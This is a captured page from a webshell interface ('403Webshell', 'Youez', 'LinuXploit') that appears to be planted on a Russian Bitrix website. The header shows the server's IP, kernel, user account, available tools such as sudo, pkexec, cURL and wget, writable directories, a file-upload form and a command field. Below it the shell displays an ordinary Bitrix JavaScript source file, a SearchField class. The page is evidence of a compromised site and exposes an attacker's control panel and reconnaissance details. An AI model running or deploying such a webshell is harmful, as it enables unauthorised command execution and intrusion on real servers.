403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/entity-selector/src/search/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/entity-selector/src/search/search-field.js
import { Type } from 'main.core';
import type { SearchFieldOptions } from './search-field-options';

export default class SearchField
{
	name: string = null;
	type: string = 'string';
	searchable: boolean = true;
	system: boolean = false;
	sort: ?number = null;

	constructor(fieldOptions: SearchFieldOptions)
	{
		const options = Type.isPlainObject(fieldOptions) ? fieldOptions : {};

		if (!Type.isStringFilled(options.name))
		{
			throw new Error('EntitySelector.SearchField: "name" parameter is required.');
		}

		this.name = options.name;
		this.setType(options.type);
		this.setSystem(options.system);
		this.setSort(options.sort);
		this.setSearchable(options.searchable);
	}

	getName(): string
	{
		return this.name;
	}

	getType(): string
	{
		return this.type;
	}

	setType(type: string): void
	{
		if (Type.isStringFilled(type))
		{
			this.type = type;
		}
	}

	getSort(): ?number
	{
		return this.sort;
	}

	setSort(sort: ?number): void
	{
		if (Type.isNumber(sort) || sort === null)
		{
			this.sort = sort;
		}
	}

	setSearchable(flag: boolean): void
	{
		if (Type.isBoolean(flag))
		{
			this.searchable = flag;
		}
	}

	isSearchable(): boolean
	{
		return this.searchable;
	}

	setSystem(flag: boolean)
	{
		if (Type.isBoolean(flag))
		{
			this.system = flag;
		}
	}

	isCustom(): boolean
	{
		return !this.isSystem();
	}

	isSystem(): boolean
	{
		return this.system;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit